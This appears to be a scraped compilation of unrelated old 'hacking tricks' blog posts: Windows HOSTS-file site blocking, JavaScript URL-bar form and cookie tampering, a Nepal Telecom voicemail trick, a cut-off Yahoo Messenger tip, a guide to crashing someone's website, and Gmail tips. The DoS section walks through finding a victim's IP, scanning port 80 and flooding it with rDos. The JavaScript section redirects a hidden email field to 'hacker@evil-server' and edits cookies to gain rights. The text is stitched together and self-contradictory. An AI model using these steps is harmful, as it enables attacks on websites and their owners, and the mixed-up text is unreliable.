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Some times it becomes necessary to block a website on our Computers for one or other reason.You can easily and effectivily block access to a website by adding it to your Windows HOSTS file.Once the website is blocked in the HOSTS file,it will not appear in any of the browsers.That is,the website becomes completely unavailable.
 

1.Go to your HOSTS file which is located at:
C:\WINDOWS\SYSTEM32\DRIVERS\ETC for Vista and XP
C:\WINNT\SYSTEM32\DRIVERS\ETC for Win 2000
C:\WINDOWS for Windows 98 and ME
2. Open HOSTS with Notepad.
The default Windows HOSTS looks like this:
______________________
# Copyright © 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a “#” symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
#
127.0.0.1 localhost
_____________________________
3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:
127.0.0.1 name of the URL you want to block
For example to block the website MySpace.com, simply type:
127.0.0.1 myspace.com
127.0.0.1 www.myspace.com
Other parts of MySpace could be blocked in a similar way:
127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
etc etc etc…
It is necessary to add a website with and without the “www.”. You can add any number of websites to this list.
4. Close Notepad and answer “Yes” when prompted.
5. After blocking the website, test it in any of the browser.If every thing is done as said above,the website must not appear in any of the web browsers. You should see a Cannot find server or DNS Error saying: “The page cannot be displayed”.

Some people suggest that your add a website to the Internet Explorer ‘Privacy’ settings. This does not block a site. It only stops that site from using cookies.

Javascript injections are simple to find and exploit. They’re used for editing client side data, mainly html forms and cookies. The only two commands that are of any use are void and alert. Alert is really simple understand just by looking at the pop up. Void is quite different, it’s used to modify forms or cookies.
Form editing:
Now it’s really simple to edit some form variables to change fiend names of even values. Lets imagine a page that sends the admin his password every time he clicks on a button:



input name="email" value="admin@some-rand-host.com" type="hidden"
input name="submit" value="Send Mail" type="submit"

Now we can see that in this cut of code that the main idea is to send an email to the hard coded address in the page (admin@some-rand-host). This is where javascript comes in handy to change the target email address:
This should be written directly into the url bar:

javascript:void(document.forms[0].email.value="hacker@evil-server")

Then we run the code by charging the url, then to view the results all you have to do is refresh the page.
Now read understanding the line:
first running the command : javascript:void()
then we define the variable we want to change: document.forms[0].email.value.
This means that we want to modify one of the forms inside the document, actually the form number 0. If it was the second form in then page then we would use: document.forms[1].email.value. Next we precise the name of the input control we want to modify followed by the field: … email.value.
So there you have it, you change the address of the recipient to your own for example then send a mail
Cookie editing:
Cookies are used to keep simple variables and values on a client machine inside temporary internet files, cookies. These cookies could be used for example to keep track of your connection status, current theme, or in the worst cases: your user rights. It’s probably the simplest way but also the most unsure and dangerous for the webmaster, use cookies to keep track of the user rights. To see the cookies that a site serves us we can use the alert command again: javascript:alert(document.cookie) From there we can see if there are any vulnerable fields that we might be able to inject and control. Imagine a cookie like this one:

use_theme=darkblue;user_name=hackr;uid=2;

Now you can see that the cookie actually holds onto the variable “rights” which means that we can easily try to change it’s value and check out the results by running a command like this one:

1. Try these injections:
   
   
   
   • javascript:alert("Hello!");
     
     • This will bring up an alert box saying "Hello!"
     
     
   • javascript:alert("Hello"); alert("World");
     
     • This will bring up 2 alert boxes. The one in the front will say "Hello" and once you click OK, the one saying "World" will appear.
     
     
   • javascript:alert(document.forms[0].to.value="something")
     
     • This will change the value of form [0] to something.
     
     
   • javascript:void(document.bgColor="blue")
     
     • This will change the background color to blue. You can put any other color in the place of blue to change it to a different color.
     
     
   • javascript:alert("The actual url is:\t\t" + location.protocol + "//" + location.hostname + "/" + "\nThe address URL is:\t\t" + location.href + "\n" + "\nIf the server names do not match, this may be a spoof.");
     
     • This long injection will tell you the real server name of the site you are looking at. You should use it if you think that you are viewing a spoofed website. Or anytime just to make sure.
     
     
   • javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
     
     • This long injection will make pictures fly around. Make sure to find a site like Google Images so there are more pictures!(If you press the refresh button, it goes really fast! might only work with MAC)
     
     
   
   
2. javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.cos(R*x1+i*x1+x2)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
3. Note that this is an alternate to the spinning circle of pictures. It funnels the pictures in a snake-like motion.
   
   
   
   • javascript:document.body.contentEditable='true';document.designMode='on';void0
   
   
4. Note that this injection allows you to move things around on the webpage. However, any changes you make here are not permanent, and can only be seen by you.

Once again another trick have been found for NTC. You can call it whatever tips, tricks, tweaks, HACK or loophole since this feature has not been officially launched yet. The system I am talking about is Voice mail system for GSM Pre-paid users of NT. This will allow you to send receive voice message to specified phone (the receiver and sender both must have activated voice mail system in order to exchange voice messages).
And the thing which makes it special is that it's FREE, totally free. NTC doesn't charge any fees for sending and receiving voice message. This feature may come handy when you don't have any balance to call or SMS.

Nepal Telecom has been providing Voice Mail Box service since the beginning of Mobile Service in Nepal. Voice Mail Service allows the user to be always in touch. In order to use the voice mail service, user must have CALL FORWARDING facility. If the user wants his/her incoming calls to be diverted to the Voice Mail server on different conditions (like unconditionally, on busy, no reply or out of reach for postpaid and unconditionally only for prepaid subscriber ), he/she must set the call forward number as 011614 in the user's mobile set. When the call forward service to the voice mail is activated, the incoming calls will be diverted to the voice mail box according to the conditions specified by the user. The calling party can leave the voice message in the mail box of the called party. Once the message is recorded in the mail box, the user will be notified about the new message through Short Message Service (SMS).

The user can then dial his voice mail box and check the new or old messages and manage mail box by dialing the Voice Mail number 011616. It should be noted that the user has to use own mobile SIM to access the voice mail service by this method. Once the user is connected to the voice mail server, the system will guide the user for different options in the service through interactive voice prompts. Users have to listen carefully to the guidelines provided by the system for familiarizing themselves to the service.

1. Voice Mail Subscription Charge : None
   
   
2. Message Deposit Charge : When the Incoming Calls are transferred to Voice Mail Box, the message duration will be charged as the air time charge of the outgoing mobile calls.
   
   
3. Message Retrieval Charge : There will be no extra charge for the retrieving the messages from the voice mail box.
   
   
4. Mail Box Management Charge : No additional charge for Mail Box management (Active/Inactive)
   

VMS Number for call deposit : 011614
VMS Number for call retrieval : 011616

Additional services available now:

1. Miss call notification - some one dials a mobile number, if in case the call has been diverted to voice mail and the caller disconnect the call before the message deposit tone is heard, then the called number will be miss call information via sms.
   
   
2. Heard Message Notification - A caller deposits a voice message. After the called party listens to the deposited message, the depositor (caller) will get sms confirming that his message has been heard by the called party.

- Nepal Telecom

1. Dial the code in bold letters in your phone, *21*011614# (This will send a service command to service provider and a message pops out with, Call Diverted or some thing similar to this. Never mind as you've dialed the number any message will be OK :) )
2. Now you'll see a call divert icon in your normal stand by screen, the icon resembles the curved or turning arrow.
3. Now check if the call divert works or not by calling to your own number.
4. You'll be weclomed to Voice mail service after the notification of call diversion.
   
5. Then you can Hangup.
6. OK now get back to the phone where you have activated call divert option. Again in the stand by screen dial #21# . This will disable the call divert option and the call divert logo will disappear from your screen. Not every phone model shows call diver logo.

1. Put the following initial number while dialing any Voice mail service activated number, 011616984XXXXXXX i.e. 011616[YOUR NUMBER]
2. Then follow the system guidlines.

1. To check if you have voice mail or not, dial this number 011616, then follow the instructions by the robot.

I was exploring through some technology blogs. And I came across this blog, Techsense, where I found this really useful trick. I cannot guarantee you that this trick will work, but he claims that it works.

First you should be having yahoo messenger installed in your computer as most generally all
have it but in case if you dont have you can download it HERE

Sign up in your yahoo messenger as you usually do. There you'll see a box right on the top of the yahoo messenger containing some text (see in the snapshot below).


















Fill the numbers given below in that field.

+18003733411

Your friend or your enemy has made a little shitty website for whatever maybe a private server or anything.. And your feeling devious and want to crash it

TOOLS:
Port Scanner

rDos

HotSpotSheild Proxy!

Step One: First we need to find the websites IP Adress. This is very easy todo. Ok so say they URL is http://www.yoursite.com ok now that you have your URL open Up Cmd todo this press Start>Run>cmd Once you have CMD open you type ping http://www.yoursite.com press enter and you will get the ip of the website. (YOU MUST REMOVE HTTP:// AND ANY /'s)

Step Two: Now we must test to see if port 80 is open (it usually is).

This is very easy todo to Ok open up the port scanner you downloaded.
Once in the port scanner type in your Victims ip that you got from step 1.
It will ask you todo a range scan or a full scan (SELECT REANGE SCAN!) It will ask for conformaition you have to use a capital Y or a capital N! Now enter 79 for lowest port and 81 for highest hit enter than hit cap Y.
[X] = Closed
[X] Vulnerable = Open

Step Three ALMOST DONE:

The final and easiest step (IF PORT 80 IS CLOSED PICK A NEW SITE!)
If port 80 is open your on your way to crashing!!

Ok open Up rDos that you download.
Enter your victims ip that we got from step 1.
It will ask you for the port to attack use port 80 that is why we scaned to make sure 80 was open! If it is closed it will not work.
Hit enter.. *=Flooding -=Crashed Or didn't connect!
EXAMPLE:
Thanks for reading i hope this helps :)

It is interesting work to hack gmail and to know more about it's special features. Gmail beats all other email providers with its endless customization capabilities, Google product integration and fantastic spam filter. And today I am sharing you a very useful tricks, tips and cool hack for gmail. Take it to the next level with these Gmail power user tips and Greasemonkey extensions for Firefox. May this tricks and tips helps you to make you perfect g-mailer:)

 The aptly-named Resizeable Textarea Firefox extension allows you to click and drag the edge of your compose box without resizing your browser window. Note that any browser built with the newest Opensource.org webkit—Safari, for example—will already have this capability. For more browser info, check out the internet software category.

  Search on the string “label:unread label:inbox” to force all of your unread messages to the top of the list, writes Matt Cutts. (Note: you don’t have to create any labels for this to work.) Try bookmarking Cutts’s search and dragging it to your bookmarks bar to view all unread messages first.

4. Quickly switch between Google accounts

If you have multiple Google accounts—a Gmail with Google Apps account and a regular Gmail account, for example—streamline them with this script for Firefox with Greasemonkey. The script adds a “change user” drop-down bar in place of the “sign out” link.


You can also try Gmail Manager (also a Firefox extension), which adds a Gmail menu bar to the Firefox window. Juggle multiple accounts, sign in and out.

5. Gmail Notifier for Windows / Google Notifier for Mac

  Rather than keeping a browser window open and hitting CTRL-R like you've got OCD, install a widget like Gmail Notifier for Windows or Google Notifier for Macs. It'll check your email (and Google Calendar, if you're a Mac user) as compulsively as you do. And as with almost everything else under the sun, there's a Firefox extension that will serve the same function (it's not released by Google).

6. Use Gmail like an external hard drive

Use up any vegetating space in your Gmail account with this Windows drive shell extension. Your Gmail space appears in My Computer/Windows Explorer as an external drive, and when you drag and drop a file to the drive, it sends an email to your Gmail account with the file as an attachment. Note that this is a fairly old program but seems to have been updated for the latest Gmail version. Mac users can try gDisk and Linux users can check out GmailFS.